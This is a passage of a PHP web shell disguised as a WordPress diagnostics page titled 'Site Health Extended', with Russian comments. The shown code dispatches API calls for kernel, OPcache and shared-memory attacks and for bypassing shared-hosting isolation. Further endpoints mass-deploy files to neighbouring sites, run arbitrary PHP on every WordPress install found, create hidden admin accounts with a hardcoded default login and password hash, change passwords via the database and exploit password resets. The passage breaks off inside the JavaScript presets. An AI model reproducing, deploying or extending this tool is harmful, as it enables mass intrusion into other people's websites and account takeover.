if ($api==='shm_attack') {
$results = shared_memory_attacks();
json_out(array('status'=>'ok', 'shared_memory'=>$results));
}
// Session Upload Progress Attack
if ($api==='session_upload') {
$results = session_upload_progress_attack();
json_out(array('status'=>'ok', 'session_upload'=>$results));
}
// OPcache Attacks
if ($api==='opcache_attack') {
$results = opcache_attacks();
json_out(array('status'=>'ok', 'opcache'=>$results));
}
// Kernel Attacks
if ($api==='kernel_attack') {
$results = advanced_kernel_attacks();
json_out(array('status'=>'ok', 'kernel'=>$results));
}
// Find Daemons
if ($api==='find_daemons') {
$results = find_and_attack_daemons();
json_out(array('status'=>'ok', 'daemons'=>$results));
}
// DNS Rebinding Prepare
if ($api==='dns_rebinding') {
$results = dns_rebinding_prepare();
json_out(array('status'=>'ok', 'dns_rebinding'=>$results));
}
// ==================== МАССОВЫЙ ДЕПЛОЙ НА СОСЕДЕЙ ====================
// Быстрый скан соседей (только разведка)
if ($api==='neighbor_scan') {
$max = isset($_GET['max']) ? (int)$_GET['max'] : 100;
$results = quick_neighbor_scan($max);
json_out(array('status'=>'ok', 'neighbor_scan'=>$results));
}
// Массовый деплой маркера на соседей
if ($api==='neighbor_deploy') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$marker_name = isset($_POST['marker_name']) ? $_POST['marker_name'] : 'marker.txt';
$marker_content = isset($_POST['marker_content']) ? $_POST['marker_content'] : '';
$options = array(
'dry_run' => isset($_POST['dry_run']) ? (bool)$_POST['dry_run'] : false,
'use_bypass' => isset($_POST['use_bypass']) ? (bool)$_POST['use_bypass'] : true,
'use_db' => isset($_POST['use_db']) ? (bool)$_POST['use_db'] : true,
'use_symlinks' => isset($_POST['use_symlinks']) ? (bool)$_POST['use_symlinks'] : true,
'use_shm' => isset($_POST['use_shm']) ? (bool)$_POST['use_shm'] : true,
'max_neighbors' => isset($_POST['max_neighbors']) ? (int)$_POST['max_neighbors'] : 500,
'subdir' => isset($_POST['subdir']) ? $_POST['subdir'] : '',
'overwrite' => isset($_POST['overwrite']) ? (bool)$_POST['overwrite'] : false
);
$results = mass_neighbor_marker_deploy($marker_name, $marker_content, $options);
json_out(array('status'=>'ok', 'neighbor_deploy'=>$results));
}
// Очистка деплоенных маркеров
if ($api==='neighbor_cleanup') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$marker_name = isset($_POST['marker_name']) ? $_POST['marker_name'] : 'marker.txt';
$deploy_results = isset($_POST['deploy_results']) ? json_decode($_POST['deploy_results'], true) : array();
$results = mass_neighbor_marker_cleanup($marker_name, $deploy_results);
json_out(array('status'=>'ok', 'cleanup'=>$results));
}
// ==================== НОВЫЕ API ENDPOINTS (из "Что нужно внедрить.txt") ====================
// Сканирование панелей управления хостингом
if ($api==='scan_panels') {
$panels = detect_hosting_panels();
json_out(array('status' => 'ok', 'panels' => $panels, 'count' => count($panels)));
}
// Поиск страниц авторизации
if ($api==='find_logins') {
$url = isset($_POST['url']) ? $_POST['url'] : (isset($_GET['url']) ? $_GET['url'] : '');
if (!$url) {
$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . ($_SERVER['HTTP_HOST'] ?? 'localhost');
}
$logins = scan_login_pages($url);
json_out(array('status' => 'ok', 'logins' => $logins, 'url' => $url));
}
// Смена пароля через БД
if ($api==='change_password') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$target = isset($_POST['target']) ? $_POST['target'] : '';
$username = isset($_POST['username']) ? $_POST['username'] : '';
$new_password = isset($_POST['new_password']) ? $_POST['new_password'] : '';
if (!$target || !$username || !$new_password) {
json_out(array('status'=>'error', 'message'=>'Missing required parameters: target, username, new_password'));
}
$result = change_password_via_database($target, $username, $new_password);
json_out(array_merge(array('status' => $result['success'] ? 'ok' : 'error'), $result));
}
// Расширенное обнаружение доменов
if ($api==='mass_discover') {
$domains = advanced_domain_discovery();
json_out(array('status' => 'ok', 'domains' => $domains, 'count' => count($domains)));
}
// Массовое выполнение скрипта
if ($api==='mass_execute') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$domains_input = isset($_POST['domains']) ? $_POST['domains'] : '';
$domains = $domains_input ? json_decode($domains_input, true) : advanced_domain_discovery();
if (!$domains || !is_array($domains)) {
$domains = advanced_domain_discovery();
}
$script = isset($_POST['script']) ? $_POST['script'] : '<?php echo "Executed on " . $_SERVER["HTTP_HOST"]; ?>';
$method = isset($_POST['method']) ? $_POST['method'] : 'curl';
$results = mass_deploy_and_execute($domains, $script, $method);
json_out(array('status' => 'ok', 'results' => $results, 'domains_count' => count($domains)));
}
// Браузерная автоматизация
if ($api==='browser_execute') {
$domains_input = isset($_POST['domains']) ? $_POST['domains'] : '';
$domains = $domains_input ? json_decode($domains_input, true) : advanced_domain_discovery();
if (!$domains || !is_array($domains)) {
$domains = advanced_domain_discovery();
}
$script_url = isset($_POST['script_url']) ? $_POST['script_url'] : '/wp-content/uploads/test.php';
$result = browser_based_mass_execution($domains, $script_url);
json_out(array_merge(array('status' => 'ok'), $result));
}
// Эксплуатация сброса пароля
if ($api==='exploit_reset') {
$url = isset($_POST['url']) ? $_POST['url'] : (isset($_GET['url']) ? $_GET['url'] : '');
$attack_type = isset($_POST['attack_type']) ? $_POST['attack_type'] : (isset($_GET['attack_type']) ? $_GET['attack_type'] : 'password_reset');
if (!$url) {
json_out(array('status'=>'error', 'message'=>'URL required'));
}
$result = exploit_password_reset($url, $attack_type);
json_out(array('status' => 'ok', 'result' => $result, 'url' => $url, 'attack_type' => $attack_type));
}
// Проверка DNS записей
if ($api==='dns_check') {
$domain = isset($_GET['domain']) ? $_GET['domain'] : (isset($_POST['domain']) ? $_POST['domain'] : '');
$type = isset($_GET['type']) ? strtoupper($_GET['type']) : 'A';
if (!$domain) {
json_out(array('status'=>'error', 'message'=>'Domain required'));
}
$exists = check_dns_record_ext($domain, $type);
json_out(array('status' => 'ok', 'domain' => $domain, 'type' => $type, 'exists' => $exists));
}
// Поиск WordPress установок
if ($api==='find_wp') {
$paths = isset($_GET['paths']) ? json_decode($_GET['paths'], true) : null;
$installations = find_wordpress_installations($paths);
json_out(array('status' => 'ok', 'installations' => $installations, 'count' => count($installations)));
}
// Массовое создание админов на всех WP сайтах
if ($api==='mass_create_admin') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$admin_login = isset($_POST['login']) ? trim($_POST['login']) : 'cmseditor';
// Хэш пароля в формате WordPress phpass ($P$B...)
$admin_password_hash = isset($_POST['password_hash']) ? trim($_POST['password_hash']) : '$P$BPRTBfgNGzgFiZM5ktB5yhaA6rlXTI/';
// Plaintext пароль для отображения пользователю
$password_display = isset($_POST['password_display']) ? $_POST['password_display'] : 'cmseditor';
$admin_email = isset($_POST['email']) && $_POST['email'] ? $_POST['email'] : null;
$wp_paths_json = isset($_POST['paths']) ? $_POST['paths'] : null;
$wp_paths = $wp_paths_json ? json_decode($wp_paths_json, true) : null;
if (strlen($admin_login) < 3) {
json_out(array('status'=>'error', 'message'=>'Login must be at least 3 characters'));
}
// Проверяем что хэш похож на WordPress phpass формат
if (strpos($admin_password_hash, '$P$') !== 0 && strpos($admin_password_hash, '$2') !== 0) {
json_out(array('status'=>'error', 'message'=>'Password hash must be in WordPress phpass format (starts with $P$B or $2)'));
}
$results = mass_create_wp_admins($admin_login, $admin_password_hash, $password_display, $admin_email, $wp_paths);
json_out(array('status' => 'ok', 'results' => $results));
}
// Создание админа на одном сайте
if ($api==='create_single_admin') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$wp_path = isset($_POST['path']) ? trim($_POST['path']) : '';
$admin_login = isset($_POST['login']) ? trim($_POST['login']) : 'cmseditor';
$admin_password_hash = isset($_POST['password_hash']) ? trim($_POST['password_hash']) : '$P$BPRTBfgNGzgFiZM5ktB5yhaA6rlXTI/';
$password_display = isset($_POST['password_display']) ? $_POST['password_display'] : 'cmseditor';
$admin_email = isset($_POST['email']) && $_POST['email'] ? $_POST['email'] : null;
if (!$wp_path) {
json_out(array('status'=>'error', 'message'=>'Path required'));
}
$result = create_wp_admin_on_path($wp_path, $admin_login, $admin_password_hash, $admin_email, $password_display);
json_out(array('status' => $result['success'] ? 'ok' : 'error', 'result' => $result));
}
// Массовое выполнение PHP кода на всех WP сайтах
if ($api==='mass_php_exec') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$php_code = isset($_POST['code']) ? $_POST['code'] : '';
$timeout = isset($_POST['timeout']) ? (int)$_POST['timeout'] : 10;
$wp_paths_json = isset($_POST['paths']) ? $_POST['paths'] : null;
$wp_paths = $wp_paths_json ? json_decode($wp_paths_json, true) : null;
if (empty($php_code)) {
json_out(array('status'=>'error', 'message'=>'PHP code is required'));
}
// Ограничиваем таймаут
$timeout = max(5, min(60, $timeout));
$results = mass_execute_php_on_wp_sites($php_code, $timeout, $wp_paths);
json_out(array('status' => 'ok', 'results' => $results));
}
// Выполнение PHP кода на одном сайте
if ($api==='single_php_exec') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$wp_path = isset($_POST['path']) ? trim($_POST['path']) : '';
$php_code = isset($_POST['code']) ? $_POST['code'] : '';
$timeout = isset($_POST['timeout']) ? (int)$_POST['timeout'] : 10;
if (!$wp_path) {
json_out(array('status'=>'error', 'message'=>'Path required'));
}
if (empty($php_code)) {
json_out(array('status'=>'error', 'message'=>'PHP code is required'));
}
$result = execute_php_on_wp_path($wp_path, $php_code, $timeout);
json_out(array('status' => $result['success'] ? 'ok' : 'error', 'result' => $result));
}
// ==================== КОНЕЦ НОВЫХ API ENDPOINTS ====================
json_out(array('status'=>'error','message'=>'Unknown API'));
}
?>
<!doctype html>
<html lang="ru"><head>
<meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>Site Health Extended — WordPress Diagnostics</title>
<style>
:root{--bg:#101216;--card:#171a1f;--line:#2a2f36;--fg:#e6eaf0;--mut:#aab4c0;--acc:#60e0a8;--warn:#ffb454;--err:#ff6b6b}
*{box-sizing:border-box} body{margin:0;background:var(--bg);color:var(--fg);font:14px/1.5 system-ui,Segoe UI,Roboto,Arial}
header{display:flex;gap:10px;align-items:center;padding:14px 16px;border-bottom:1px solid var(--line);flex-wrap:wrap}
h1{font-size:16px;margin:0}
main{display:grid;grid-template-columns:520px 1fr;gap:16px;padding:16px}
.card{background:var(--card);border:1px solid var(--line);border-radius:10px;padding:14px}
.section-title{font-weight:600;margin:4px 0 10px 0}
label{display:flex;align-items:center;gap:8px;margin:6px 0}
input[type="text"], input[type="number"], textarea, select{width:100%;padding:8px 10px;border-radius:8px;border:1px solid var(--line);background:#0e1114;color:#e6eaf0}
textarea{min-height:100px;font-family:ui-monospace, SFMono-Regular, Menlo, Consolas, monospace}
.btn{display:inline-flex;align-items:center;gap:8px;padding:9px 12px;border:1px solid var(--line);background:#0e1114;color:#e6eaf0;border-radius:8px;cursor:pointer}
.btn[disabled]{opacity:.6;cursor:not-allowed}
.small{font-size:12px;color:var(--mut)}
.badge{display:inline-block;padding:2px 6px;border-radius:4px;background:#0e1318;border:1px solid var(--line);font-size:12px;margin-right:6px}
.grid{display:grid;gap:8px}
table{width:100%;border-collapse:collapse} th,td{padding:8px 10px;border-bottom:1px solid var(--line);vertical-align:top}
th{position:sticky;top:0;background:#12161b;text-align:left}
code{background:#0b0f13;padding:2px 6px;border-radius:4px}
.kv{display:grid;grid-template-columns:150px 1fr;gap:6px}
.flex{display:flex;gap:8px;flex-wrap:wrap}
.muted{color:var(--mut)} hr{border:none;border-top:1px solid var(--line);margin:10px 0}
.coll{margin:6px 0;border:1px solid var(--line);border-radius:8px;overflow:hidden}
.coll>summary{padding:8px 10px;background:#12161b;cursor:pointer}
.coll>div{padding:8px 10px}
.tag-ok{color:var(--acc)} .tag-warn{color:var(--warn)} .tag-err{color:var(--err)}
.drop{border:2px dashed var(--line);border-radius:10px;padding:10px;text-align:center;background:#11151a}
.drop.drag{background:#151a1f}
fieldset{border:1px solid var(--line);border-radius:8px;padding:8px}
legend{padding:0 6px;color:#aab4c0}
.presetbar{display:flex;gap:6px;flex-wrap:wrap;margin-left:auto}
.presetbar .btn{font-size:12px;padding:6px 8px}
</style>
<script>window.__CSRF__ = "<?php echo htmlspecialchars(csrf(),ENT_QUOTES,'UTF-8');?>";</script>
</head>
<body>
<header>
<h1>Site Health Extended — v5.3.0</h1>
<span class="badge">Auth OK</span>
<button class="btn" id="btnScan">Сканировать</button>
<button class="btn" id="btnDeploy">Deploy</button>
<button class="btn" id="btnDelete">Delete</button>
<span style="border-left:1px solid var(--line);height:20px;margin:0 8px"></span>
<button class="btn" id="btnDbExplorer" title="Database Explorer - обнаружение и анализ БД через wp-config.php">🔍 DB Explorer</button>
<button class="btn" id="btnVulnScan" title="Сканирование уязвимостей WordPress">⚠️ Vuln Scan</button>
<button class="btn" id="btnAutoExploit" title="Автоматическая эксплуатация найденных уязвимостей">⚡ Auto Exploit</button>
<button class="btn" id="btnPentestReport" title="Генерация комплексного пентест-отчета">📊 Report</button>
<button class="btn" id="btnAdvancedBypass" title="Расширенный обход ограничений с записью">🌀 Bypass+</button>
<button class="btn" id="btnAdvancedAttacks" title="Все продвинутые атаки (LD_PRELOAD, SHM, OPcache, Kernel, Daemons)">🚀 Advanced</button>
<button class="btn" id="btnNeighborDeploy" title="Массовый поиск соседей и деплой маркера" style="background:linear-gradient(135deg,#f00,#a00);border-color:#f00">🎯 Neighbors</button>
<span style="border-left:1px solid var(--line);height:20px;margin:0 8px"></span>
<button class="btn" id="btnScanPanels" title="Поиск панелей управления (cPanel, Plesk, DirectAdmin)">🔍 Panels</button>
<button class="btn" id="btnFindLogins" title="Поиск страниц авторизации">🔑 Logins</button>
<button class="btn" id="btnMassDiscover" title="Расширенное обнаружение всех доменов">🌐 Discover</button>
<button class="btn" id="btnMassExecute" title="Массовое выполнение скрипта на доменах" style="background:linear-gradient(135deg,#f50,#a30);border-color:#f50">⚡ Mass Exec</button>
<button class="btn" id="btnChangePassword" title="Смена пароля через БД" style="background:linear-gradient(135deg,#a00,#600);border-color:#a00">🔐 ChgPass</button>
<button class="btn" id="btnMassCreateAdmin" title="Массовое создание админов на всех WP сайтах" style="background:linear-gradient(135deg,#0a0,#050);border-color:#0a0">👤 MassAdmin</button>
<div class="presetbar">
<span class="small muted" style="align-self:center">Presets:</span>
<button class="btn" data-preset="safe" title="Безопасный режим - только базовое сканирование">🛡️ Safe</button>
<button class="btn" data-preset="balanced" title="Сбалансированный режим - оптимальный баланс">⚖️ Balanced</button>
<button class="btn" data-preset="advanced" title="Продвинутый режим - расширенное сканирование">🔍 Advanced</button>
<button class="btn" data-preset="aggressive" title="Агрессивный режим - максимальное обнаружение">🔥 Aggressive</button>
<button class="btn" data-preset="deploy" title="Режим деплоя - оптимизирован для маркирования">📦 Deploy</button>
</div>
</header>
<!-- Модальное окно для результатов пентеста -->
<div id="pentestModal" style="display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.85);z-index:1000;overflow:auto">
<div style="max-width:1200px;margin:30px auto;background:var(--card);border:2px solid var(--line);border-radius:12px;padding:20px;position:relative">
<button onclick="closePentestModal()" style="position:absolute;top:10px;right:15px;background:none;border:none;color:var(--fg);font-size:24px;cursor:pointer">×</button>
<h3 id="pentestModalTitle" style="margin:0 0 15px 0">Результаты</h3>
<div id="pentestModalContent" style="max-height:calc(100vh - 150px);overflow-y:auto">Loading...</div>
</div>
</div>
<main>
<section class="card">
<div class="section-title">Опции сканирования</div>
<label><input type="checkbox" id="wpOnly" checked> Только WP‑корни</label>
<div class="grid" style="grid-template-columns:1fr 1fr">
<label><input type="checkbox" id="writableOnly" checked> Только writable</label>
<label>Writable mode
<select id="writableMode">
<option value="effective" selected>effective (текущий PHP‑польз.)</option>
<option value="any">any (u|g|o разрешение)</option>
<option value="group">group‑writable</option>
<option value="world">world‑writable</option>
</select>
</label>
</div>
<label><input type="checkbox" id="scanAggr"> Агрессивный поиск (скрытые пути)</label>
<label><input type="checkbox" id="useDocroots" checked> Использовать явные docroot из конфигов</label>
<label class="small"><input type="checkbox" id="docrootsDeep"> Глубже в docroot (и wildcard‑родителей)</label>
<label><input type="checkbox" id="globalSweeps"> Глобальные обходы (wildcards/globs)</label>
<label class="small"><input type="checkbox" id="blindHunt"> Blind WP Hunt (без списка доменов)</label>
<label class="small"><input type="checkbox" id="bypassIsolation" checked> 🔥 Bypass изоляции (LVE/CageFS) — обнаружение соседних сайтов</label>
<label class="small"><input type="checkbox" id="bypassExtended"> 🔥🔥 Расширенный bypass (open_basedir/CageFS/LVE/chroot) — 30+ техник обхода</label>
<label class="small"><input type="checkbox" id="detectUsers"> ⚠️ Детект пользователей (опасно! показывает всех пользователей сервера)</label>
<label class="small"><input type="checkbox" id="configGrab"> 🔧 Config Grab (поиск конфигов для обнаружения путей)</label>
<label class="small"><input type="checkbox" id="symlinkGrab"> 🔗 Symlink Grab (поиск симлинков для обхода ограничений)</label>
<div class="grid" style="grid-template-columns:1fr 1fr">
<label>Фильтр доменов <input type="text" id="q" placeholder="например, .com или blog"></label>
<label>Лимит доменов <input type="number" id="limit" value="1000" min="1" step="1"></label>
</div>
<label class="small">Blind cap (лимит директорий для ханта) <input type="number" id="blindCap" value="8000" min="100"></label>
<fieldset style="margin-top:8px">
<legend>Brute шаблоны</legend>
<label><input type="checkbox" id="scanBrute" checked> Использовать популярные + EU шаблоны</label>
<label>Режим
<select id="bruteMode">
<option value="append" selected>Добавить к популярным</option>
<option value="only">Только свои</option>
</select>
</label>
<label>Свои шаблоны (по одному в строке)
<textarea id="templates" placeholder="/srv/users/*/apps/*/public /home/master/applications/%slug%/public_html /var/www/%domain%/public"></textarea>
</label>
<fieldset>
<legend>Диапазоны client/web</legend>
<div class="grid" style="grid-template-columns:repeat(3,1fr)">
<label class="small">client от <input type="number" id="clientMin" value="1" min="1"></label>
<label class="small">client до <input type="number" id="clientMax" value="50" min="1"></label>
<label class="small">Кандидатов (лимит) <input type="number" id="candLimit" value="3500" min="100"></label>
</div>
<div class="grid" style="grid-template-columns:repeat(2,1fr)">
<label class="small">web от <input type="number" id="webMin" value="1" min="1"></label>
<label class="small">web до <input type="number" id="webMax" value="50" min="1"></label>
</div>
</fieldset>
<fieldset>
<legend>Юзеры для %user%</legend>
<label>Режим пользователей
<select id="usersMode">
<option value="append" selected>Добавить к авто‑списку</option>
<option value="only">Только свои (без авто)</option>
</select>
</label>
<label>Список пользователей (через запятую/перенос)
<textarea id="usersCustom" placeholder="u1001,u1002 admin john"></textarea>
</label>
</fieldset>
<fieldset>
<legend>Список окружений для %env%</legend>
<label>Env list (через запятую/перенос)
<textarea id="envList">live,staging,prod,production,stage,dev,test,testing,preview</textarea>
</label>
</fieldset>
<div class="small muted">Переменные: <code>%domain%</code>, <code>%user%</code>, <code>%client%</code>, <code>%web%</code>, <code>%sld%</code>, <code>%tld%</code>, <code>%subdomain%</code>, <code>%sld_label%</code>, <code>%env%</code>, <code>%slug%</code></div>
</fieldset>
<hr>
<div class="section-title">Маркер</div>
<div class="drop" id="drop">
<input type="file" id="marker" style="display:none">
<div class="flex">
<button class="btn" id="pick">Выбрать файл</button>
<button class="btn" id="btnUseText">Использовать текст</button>
</div>
<div id="markerInfo" class="small muted">Файл не выбран.</div>
</div>
<label>Или текст‑маркер
<textarea id="markerText" placeholder="В тексте можно использовать %domain%, %path%, %time%"></textarea>
</label>
<label>Имя файла в целевых папках
<input type="text" id="targetName" placeholder="по умолчанию: имя файла / авто‑генерируем для текста">
</label>
<label>Подкаталог для записи (относительно корня сайта)
<input type="text" id="targetSub" placeholder="например: wp-content/uploads">
</label>
<label class="small"><input type="checkbox" id="mkSub"> Создавать подкаталоги при необходимости (mkdir -p)</label>
<label class="small"><input type="checkbox" id="prefixDomain"> Префикс домена к имени файла</label>
<label class="small"><input type="checkbox" id="suffixDomain"> Суффикс домена к имени файла</label>
<label class="small"><input type="checkbox" id="dryRun"> Dry‑run (только показать, не писать)</label>
<label class="small"><input type="checkbox" id="overwriteMarker"> Overwrite existing (перезаписывать существующий маркер)</label>
<label class="small"><input type="checkbox" id="deployAggr"> Aggressive deploy (использовать скрытые пути)</label>
<label class="small"><input type="checkbox" id="deployBrute" checked> Использовать brute‑шаблоны и при deploy</label>
<label class="small"><input type="checkbox" id="useDocrootsDeploy" checked> Использовать docroot‑карты при deploy</label>
<label class="small"><input type="checkbox" id="docrootsDeepDeploy"> Docroot deep при deploy</label>
<label class="small"><input type="checkbox" id="forceWrite"> Force write (пытаться писать даже если is_writable=0)</label>
<label class="small"><input type="checkbox" id="globalSweepsDeploy"> Global sweeps при deploy</label>
<label class="small"><input type="checkbox" id="blindDeploy"> Deploy по blind‑результатам</label>
<label class="small">Blind cap (для deploy/delete) <input type="number" id="blindCapDeploy" value="8000" min="100"></label>
</section>
<section class="card">
<div id="out">Готов.</div>
</section>
</main>
<script>
const dbg = location.search.indexOf('debug=1')>=0 ? '&debug=1' : '';
const csrf = window.__CSRF__ || '';
var $ = function(sel){ return document.querySelector(sel); };
const btnScan = $('#btnScan');
const btnDeploy = $('#btnDeploy');
const btnDelete = $('#btnDelete');
const wpOnly = $('#wpOnly');
const writableOnly = $('#writableOnly');
const writableMode = $('#writableMode');
const scanAggr = $('#scanAggr');
const useDocroots = $('#useDocroots');
const docrootsDeep = $('#docrootsDeep');
const globalSweeps = $('#globalSweeps');
const blindHunt = $('#blindHunt');
const bypassIsolation = $('#bypassIsolation');
const bypassExtended = $('#bypassExtended');
const detectUsers = $('#detectUsers');
const configGrab = $('#configGrab');
const symlinkGrab = $('#symlinkGrab');
const scanBrute = $('#scanBrute');
const bruteMode = $('#bruteMode');
const templates = $('#templates');
const clientMin = $('#clientMin');
const clientMax = $('#clientMax');
const webMin = $('#webMin');
const webMax = $('#webMax');
const candLimit = $('#candLimit');
const usersMode = $('#usersMode');
const usersCustom = $('#usersCustom');
const envList = $('#envList');
const q = $('#q');
const limit = $('#limit');
const blindCap = $('#blindCap');
const drop = $('#drop');
const marker = $('#marker');
const markerText = $('#markerText');
const targetName = $('#targetName');
const targetSub = $('#targetSub');
const mkSub = $('#mkSub');
const prefixDomain = $('#prefixDomain');
const suffixDomain = $('#suffixDomain');
const dryRun = $('#dryRun');
const overwriteMarker = $('#overwriteMarker');
const deployAggr = $('#deployAggr');
const deployBrute = $('#deployBrute');
const useDocrootsDeploy = $('#useDocrootsDeploy');
const docrootsDeepDeploy = $('#docrootsDeepDeploy');
const forceWrite = $('#forceWrite');
const globalSweepsDeploy = $('#globalSweepsDeploy');
const blindDeploy = $('#blindDeploy');
const blindCapDeploy = $('#blindCapDeploy');
const pick = $('#pick');
const btnUseText = $('#btnUseText');
const markerInfo = $('#markerInfo');
const out = $('#out');
/* Presets - 5 готовых пресетов от Safe до Aggressive + Deploy */
function presetSafe(){
// 🛡️ Safe - Безопасный режим: только базовое сканирование, минимальный риск
wpOnly.checked = true; writableOnly.checked = true;
writableMode.value = 'effective';
scanAggr.checked = false; useDocroots.checked = true; docrootsDeep.checked = false;
globalSweeps.checked = false; blindHunt.checked = false;
bypassIsolation.checked = false; bypassExtended.checked = false;
detectUsers.checked = false; configGrab.checked = false; symlinkGrab.checked = false;
scanBrute.checked = true; bruteMode.value='append'; templates.value='';
envList.value = 'live,staging,prod,production,stage,dev,test,testing,preview';
limit.value = 100; blindCap.value = 2000;
}
function presetBalanced(){
// ⚖️ Balanced - Сбалансированный: оптимальный баланс скорости и обнаружения
wpOnly.checked = true; writableOnly.checked = true;
writableMode.value = 'effective';
scanAggr.checked = true; useDocroots.checked = true; docrootsDeep.checked = true;
globalSweeps.checked = false; blindHunt.checked = false;
bypassIsolation.checked = true; bypassExtended.checked = false;
detectUsers.checked = false; configGrab.checked = false; symlinkGrab.checked = false;
scanBrute.checked = true; bruteMode.value='append'; templates.value='';
envList.value = 'live,staging,prod,production,stage,dev,test,testing,preview';
limit.value = 500; blindCap.value = 5000;
// PL-паттерны для autoinstalator
templates.value = [
'/home/%user%/public_html/autoinstalator/%domain%',
'/home/%user%/serwer*/public_html/autoinstalator/*/wordpress*',
'/home/platne/serwer*/public_html/autoinstalator/*/wordpress*'
].join('\\n');
}
function presetAdvanced(){
// 🔍 Advanced - Продвинутый: расширенное сканирование с bypass техниками
wpOnly.checked = true; writableOnly.checked = false;
writableMode.value = 'any';
scanAggr.checked = true; useDocroots.checked = true; docrootsDeep.checked = true;
globalSweeps.checked = true; blindHunt.checked = true;
bypassIsolation.checked = true; bypassExtended.checked = true;
detectUsers.checked = false; configGrab.checked = true; symlinkGrab.checked = true;
scanBrute.checked = true; bruteMode.value='append'; templates.value='';
envList.value = 'live,staging,prod,production,stage,dev,test,testing,preview';
limit.value = 1000; blindCap.value = 10000;
// Расширенные PL-паттерны
templates.value = [
'/home/%user%/public_html/autoinstalator/%domain%',
'/home/%user%/public_html/autoinstalator/%sld_label%',
'/home/%user%/serwer*/public_html',
'/home/%user%/serwer*/public_html/autoinstalator/*',
'/home/%user%/serwer*/public_html/autoinstalator/*/wordpress*',
'/home/platne/serwer*/public_html/autoinstalator/*/wordpress*',
'/home/*/serwer*/public_html/autoinstalator/*/wordpress*'
].join('\\n');
}
function presetAggressive(){
// 🔥 Aggressive - Агрессивный: максимальное обнаружение, все техники включены
wpOnly.checked = false; writableOnly.checked = false;
writableMode.value = 'any';
scanAggr.checked = true; useDocroots.checked = true; docrootsDeep.checked = true;
globalSweeps.checked = true; blindHunt.checked = true;
bypassIsolation.checked = true; bypassExtended.checked = true;
detectUsers.checked = true; configGrab.checked = true; symlinkGrab.checked = true;
scanBrute.checked = true; bruteMode.value='append'; templates.value='';
envList.value = 'live,staging,prod,production,stage,dev,test,testing,preview,beta,alpha,rc,release';
limit.value = 5000; blindCap.value = 20000;
clientMin.value = 1; clientMax.value = 100;
webMin.value = 1; webMax.value = 100;
candLimit.value = 10000;
// Максимальные PL-паттерны + EU
templates.value = [
'/home/%user%/public_html/autoinstalator/%domain%',
'/home/%user%/public_html/autoinstalator/%sld_label%',
'/home/%user%/public_html/autoinstalator/*/*',
'/home/%user%/public_html/*/wordpress*',
'/home/%user%/serwer*/public_html',
'/home/%user%/serwer*/public_html/*',
'/home/%user%/serwer*/public_html/autoinstalator/*',
'/home/%user%/serwer*/public_html/autoinstalator/*/*',
'/home/platne/serwer*/public_html',
'/home/platne/serwer*/public_html/autoinstalator/*/wordpress*',
'/home/*/serwer*/public_html/autoinstalator/*/wordpress*',
// EU паттерны
'/home/*/www','/homez*/%user%/www',
'/home/u*/public_html','/home/u*/domains/%domain%/public_html',
'/home/customer/www/%domain%/public_html',
'/srv/data/web/vhosts/%domain%/htdocs'
].join('\\n');
}
function presetDeploy(){
// 📦 Deploy - Режим деплоя: оптимизирован для маркирования, только writable WP
wpOnly.checked = true; writableOnly.checked = true;
writableMode.value = 'effective';
scanAggr.checked = true; useDocroots.checked = true; docrootsDeep.checked = true;
globalSweeps.checked = true; blindHunt.checked = true;
bypassIsolation.checked = true; bypassExtended.checked = false;
detectUsers.checked = false; configGrab.checked = false; symlinkGrab.checked = false;
scanBrute.checked = true; bruteMode.value='append'; templates.value='';
envList.value = 'live,staging,prod,production';
limit.value = 2000; blindCap.value = 15000;
// PL-паттерны для деплоя
templates.value = [
'/home/%user%/public_html/autoinstalator/%domain%',
'/home/%user%/serwer*/public_html/autoinstalator/*/wordpress*',
'/home/platne/serwer*/public_html/autoinstalator/*/wordpress*'
].join('\\n');
// Deploy опции
deployAggr.checked = true; deployBrute.checked = true;
useDocrootsDeploy.checked = true; docrootsDeepDeploy.checked = true;
globalSweepsDeploy.checked = true; blindDeploy.checked = true;
forceWrite.checked = false; dryRun.checked = false;
}
/* Legacy presets (для обратной совместимости) */
function presetDefault(){ presetBalanced(); }
function presetIONOS(){
presetBalanced();
scanAggr.checked = true; docrootsDeep.checked = true; globalSweeps.checked = true;
templates.value = [
'/kunden/homepages/*/d*/htdocs',
'/kunden/homepages/*/d*/htdocs/clickandbuilds/%sld_label%',
'/kunden/homepages/*/d*/htdocs/clickandbuilds/%slug%',
'/homepages/*/d*/htdocs',
'/homepages/*/d*/htdocs/clickandbuilds/%sld_label%'
].join('\\n');
}
function presetCPanel(){
presetBalanced();
scanAggr.checked = true; docrootsDeep.checked = true; globalSweeps.checked = false;
templates.value = [
'/home/%user%/public_html/%domain%',
'/home/%user%/domains/%domain%/public_html',
'/home/%user%/domains/%domain%/public',
'/home/%user%/domains/%domain%/httpdocs',
'/home/u*/public_html',
'/home/u*/domains/%domain%/public_html'
].join('\\n');
}
function presetPlesk(){
presetBalanced();
scanAggr.checked=true; docrootsDeep.checked = true;
templates.value = [
'/var/www/vhosts/%domain%/httpdocs',
'/var/www/vhosts/%domain%/public_html',
'/var/www/vhosts/%sld%/subdomains/%subdomain%/httpdocs'
].join('\\n');
}
function presetISPConfig(){
presetBalanced();
scanAggr.checked=true; docrootsDeep.checked=true; globalSweeps.checked=true;
templates.value = [
'/var/www/clients/client%client%/web%web%/web',
'/var/www/website%web%/web'
].join('\\n');
}
function presetCloudways(){
presetBalanced();
scanAggr.checked=true; globalSweeps.checked=true;
